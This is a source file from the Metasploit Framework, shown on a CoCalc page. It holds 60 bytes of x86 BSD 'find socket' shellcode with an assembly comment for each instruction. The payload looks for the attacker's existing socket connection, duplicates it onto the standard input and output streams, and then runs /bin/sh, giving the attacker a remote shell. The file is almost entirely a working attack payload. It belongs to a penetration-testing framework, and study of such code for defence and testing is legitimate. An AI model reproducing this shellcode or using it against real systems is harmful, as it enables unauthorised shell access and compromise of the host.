CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/unixasm/bsd-x86-fndsockcode.c
Views: 11765
1
/*
2
* bsd-x86-fndsockcode.c
3
* Copyright 2006 Ramon de Carvalho Valle <[email protected]>
4
*
5
* This library is free software; you can redistribute it and/or
6
* modify it under the terms of the GNU Lesser General Public
7
* License as published by the Free Software Foundation; either
8
* version 2.1 of the License, or (at your option) any later version.
9
*
10
* This library is distributed in the hope that it will be useful,
11
* but WITHOUT ANY WARRANTY; without even the implied warranty of
12
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
13
* Lesser General Public License for more details.
14
*
15
* You should have received a copy of the GNU Lesser General Public
16
* License along with this library; if not, write to the Free Software
17
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
18
*
19
*/
20
21
#define FNDSOCKPORT 25
22
23
char fndsockcode[]= /* 60 bytes */
24
"\x31\xc0" /* xorl %eax,%eax */
25
"\x50" /* pushl %eax */
26
"\x89\xe7" /* movl %esp,%edi */
27
"\x6a\x10" /* pushl $0x10 */
28
"\x54" /* pushl %esp */
29
"\x57" /* pushl %edi */
30
"\x50" /* pushl %eax */
31
"\x50" /* pushl %eax */
32
"\x58" /* popl %eax */
33
"\x58" /* popl %eax */
34
"\x40" /* incl %eax */
35
"\x50" /* pushl %eax */
36
"\x50" /* pushl %eax */
37
"\x6a\x1f" /* pushl $0x1f */
38
"\x58" /* popl %eax */
39
"\xcd\x80" /* int $0x80 */
40
"\x66\x81\x7f\x02\x04\xd2"/* cmpw $0xd204,0x02(%edi) */
41
"\x75\xee" /* jne <fndsockcode+11> */
42
"\x50" /* pushl %eax */
43
"\x6a\x5a" /* pushl $0x5a */
44
"\x58" /* popl %eax */
45
"\xcd\x80" /* int $0x80 */
46
"\xff\x4f\xf0" /* decl -0x10(%edi) */
47
"\x79\xf6" /* jns <fndsockcode+30> */
48
"\x68\x2f\x2f\x73\x68" /* pushl $0x68732f2f */
49
"\x68\x2f\x62\x69\x6e" /* pushl $0x6e69622f */
50
"\x89\xe3" /* movl %esp,%ebx */
51
"\x50" /* pushl %eax */
52
"\x54" /* pushl %esp */
53
"\x53" /* pushl %ebx */
54
"\x50" /* pushl %eax */
55
"\xb0\x3b" /* movb $0x3b,%al */
56
"\xcd\x80" /* int $0x80 */
57
;
58
59
60